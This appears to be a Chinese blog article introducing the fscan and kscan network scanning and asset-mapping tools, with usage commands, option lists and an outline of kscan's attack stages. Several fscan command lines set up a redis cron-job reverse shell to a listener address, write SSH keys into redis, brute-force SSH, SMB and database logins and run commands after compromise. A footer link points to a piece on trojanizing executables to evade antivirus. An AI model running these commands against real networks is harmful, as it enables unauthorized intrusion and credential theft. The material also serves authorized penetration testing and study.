FSCAN fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。
它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
源码链接:GitHub - shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
1.信息搜集:
- 存活探测(icmp)
- 端口扫描
- 各类服务爆破(ssh、smb等)
- 数据库密码爆破(mysql、mssql、redis、psql等)
- 获取目标网卡信息
- 高危漏洞扫描(ms17010等)
- webtitle探测
- web指纹识别(常见cms、oa框架等)
- web漏洞扫描(weblogic、st2等,支持xray的poc)
- redis写公钥或写计划任务
- ssh命令执行
- 文件保存
使用方法
fscan.exe -h 192.168.1.1/24(默认使用全部模块) fscan.exe -h 192.168.1.1/16(B段扫描) fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/8(A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -hf ip.txt(以文件导入)
【漏洞扫描工具(一)】参数
-c string ssh命令执行 -cookie string 设置cookie -debug int 多久没响应,就打印当前进度(default 60) -domain string smb爆破模块时,设置域名 -h string 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 -hf string 读取文件中的目标 -hn string 扫描时,要跳过的ip: -hn 192.168.1.1/24 -m string 设置扫描模式: -m ssh (default "all") -no 扫描结果不保存到文件中 -nobr 跳过sql、ftp、ssh等的密码爆破 -nopoc 跳过web poc扫描 -np 跳过存活探测 -num int web poc 发包速率(default 20) -o string 扫描结果保存到哪 (default "result.txt") -p string 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") -pa string 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) -path string fcgi、smb romote file path -ping 使用ping代替icmp进行存活探测 -pn string 扫描时要跳过的端口,as: -pn 445 -pocname string 指定web poc的模糊名字, -pocname weblogic -proxy string 设置代理, -proxy http://127.0.0.1:8080 -user string 指定爆破时的用户名 -userf string 指定爆破时的用户名文件 -pwd string 指定爆破时的密码 -pwdf string 指定爆破时的密码文件 -rf string 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) -rs string redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) -silent 静默扫描,适合cs扫描时不回显 -sshkey string ssh连接时,指定ssh私钥 -t int 扫描线程 (default 600) -time int 端口扫描超时时间 (default 3) -u string 指定Url扫描 -uf string 指定Url文件扫描 -wt int web访问超时时间 (default 5)
是一款很实用的工具,平时有很多场景可以使用到。
K scan 简介
kscan是一款资产测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是go平台首款开源的RDP暴力破解工具。
目前类似的资产扫描、指纹识别、漏洞检测的工具其实已经非常多了,也不乏有很棒的工具,但是Kscan其实有很多不同的想法。
- Kscan希望能够接受多种输入格式,无需在使用之前对扫描对象进行分类,比如区分为IP,还是URL地址等,这对于使用者来说无疑是徒增工作量,所有的条目,均能正常输入和识别,若是URL地址,则会保留路径进行检测,若只是IP:PORT,则会优先对该端口进行协议识别。目前Kscan支持三种输入方式(-t,--target|-f,--fofa|--spy)。
- Kscan没有为了追求效率,而根据端口号与常见协议进行比对来确认端口协议,也不是只检测WEB资产,在这方面,Kscan则更加看重准确性和全面性,只有高准确性的协议识别,才能为后续的应用层识别,提供良好的检测条件。
- Kscan不是采用模块化的方式做单纯的功能堆叠,比如某个模块单独获取标题,某个模块单独获取SMB信息等等,独立运行,独立输出,而是以端口为单位输出资产信息,比如端口协议为HTTP,则会自动化进行后续的指纹识别、标题获取,端口协议为RPC,则会尝试获取主机名等等。
使用方法
usage: kscan [-h,--help] (-t,--target) [--spy] [-p,--port|--top] [-o,--output] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [--check] [--encoding]optional arguments: -h , --helpshow this help message and exit -t , --target指定探测对象: IP地址:114.114.114.114 IP地址段:114.114.114.114/24,不建议子网掩码小于12 IP地址段:114.114.114.114-115.115.115.115 URL地址:https://www.baidu.com 文件地址:file:/tmp/target.txt -p , --port扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090 -o , --output将扫描结果保存到文件 -Pn使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率 --check针对目标地址做指纹识别,仅不会进行端口探测 --top扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP4000 --proxy设置代理(socks5|socks4|https|http)://IP:Port --threads线程参数,默认线程400,最大值为2048 --path指定请求访问的目录,逗号分割 --host指定所有请求的头部Host值 --timeout设置超时时间 --encoding设置终端输出编码,可指定为:gb2312、utf-8 --spy网段探测模式,此模式下将自动探测主机可达的内网网段,无需配置其他任何参数 --rarity指定Nmap指纹识别级别[0-9],数字越大可识别的协议越多越准确,但是扫描时间会更长,默认为:4
原理
文章图片
如上图所示,从提供攻击目标,到最终实施攻击,经历了四个关键阶段。
- 转换阶段这部分阶段主要目标是完成:从攻击目标到信息资产的一个转换,例如从一个关键字、主域名到具体的IP地址或者其他引申的子域名,主要手段是通过FOFA、钟馗之眼、子域名挖掘/爆破工具来生成一个模糊的清单用于后续阶段去做深层次的筛选。其实EHole、Glass等工具有做这一个阶段的整合,但是在这方面,我没有把这个功能做到kscan中,目前我其实是刻意把转换阶段独立出来的。因为在这个阶段,不论是搜索的关键字也好,还是通过域名找到真实IP也好,还是其实更多的需要”人“来做识别。识别完成之后,再生成一个清单给kscan,这样会使后面的流程更高效。当然这只是我的个人的一个执念,如果后续反响强烈的话,加进去其实也未尝不可。
- 扫描阶段这一阶段主要是针对IP进行端口扫描以便于后续的应用层识别,扫描速率达标的工具诸如:s.exe、masscan等大都只能实现对开放情况进行探测。而目前的大部分工具,把这部分工作交给了FOFA等搜索引擎,不会自己进行资产探测,这样的优点是不会有大量的端口探测包打草惊蛇,缺点是存在时效性。可能漏掉资产。权衡之后,最终还是把这块功能整合到了kscan中,毕竟IP被封了可以换,资产漏掉了可就是真的漏掉了。
- 识别阶段这一阶段就是对已开放的端口进行深度的端口识别,传统工具大都是只能对端口开放情况进行探测,各别具备识别功能的工具如:nmap效率则是硬伤,而且不能对内容进行解析,无法获取标题等。又或者只能进行HTTP等特定协议进行识别。为了解决这些问题,kscan在确保效率、不发送更多数据包的前提下,能够识别大多数开放端口的协议。
- 检测阶段最后一个阶段,就是应用层检测了,类似CMS指纹识别、敏感目录/文件探测等等,kscan的开发初衷是在不发送更多数据的情况下更多的获取目标的信息,所以不会进行更深层次的目录扫描、指纹比对。但是会进行ico文件hash比对以及首页关键字比对,和返回包头部比对。这其实基本可以满足大部分的指纹识别需求了。
推荐阅读
- 小技巧|csrf和ssrf的区别
- 信息收集|信息收集——子域名收集
- 笔记|Sa-token简单介绍和基本使用
- macos|KALI 2022-02 最新版安装教程「FOR MAC」
- 黑客技巧|nmap在kali的使用方法和常见命令(入门)
- 安全|ISCC-WP
- springboot整合技术|springboot整合shiro+jwt+redis详解
- 安全|MSF(3)——apk和exe的加马(过360、火绒)
- 面试笔试题|Https的加密原理是什么()